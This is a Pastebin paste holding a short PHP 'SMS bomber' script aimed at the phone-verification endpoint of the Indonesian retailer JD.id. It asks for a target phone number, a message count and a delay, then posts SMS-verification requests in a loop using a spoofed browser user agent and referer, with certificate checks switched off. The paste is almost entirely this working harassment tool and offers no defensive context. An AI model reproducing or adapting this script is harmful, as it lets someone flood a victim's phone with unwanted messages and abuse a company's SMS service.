Advertisement
Guest User

Lol

a guest
Jun 18th, 2018
178
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.38 KB | None | 0 0
  1. <?php
  2. function jdidbom($no, $jum, $wait){
  3. $x = 0;
  4. while($x < $jum) {
  5. $ch = curl_init();
  6. curl_setopt($ch, CURLOPT_URL,"http://sc.jd.id/phone/sendPhoneSms");
  7. curl_setopt($ch, CURLOPT_POST, 1);
  8. curl_setopt($ch, CURLOPT_POSTFIELDS,"phone=".$no."&smsType=1");
  9. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  10. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  11. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  12. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  13. curl_setopt($ch, CURLOPT_REFERER, 'http://sc.jd.id/phone/bindingPhone.html');
  14. curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36');
  15. $server_output = curl_exec ($ch);
  16. curl_close ($ch);
  17. echo $server_output."\n";
  18. sleep($wait);
  19. $x++;
  20. flush();
  21. }
  22. }
  23. echo "
  24. #####################################################
  25. Coded By : Reidho
  26. Contact Me : contact@akatsuchan.ml
  27. Usage : php jdid.php
  28. #####################################################\nInput : ";
  29. echo "Nomor? (ex : 8xxxx)\nInput : ";
  30. $nomor = trim(fgets(STDIN));
  31. echo "Jumlah?\nInput : ";
  32. $jumlah = trim(fgets(STDIN));
  33. echo "Jeda? 0-99999 (ex:1)\nInput : ";
  34. $jeda = trim(fgets(STDIN));
  35. $execute = jdidbom($nomor, $jumlah, $jeda);
  36. print $execute;
  37. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement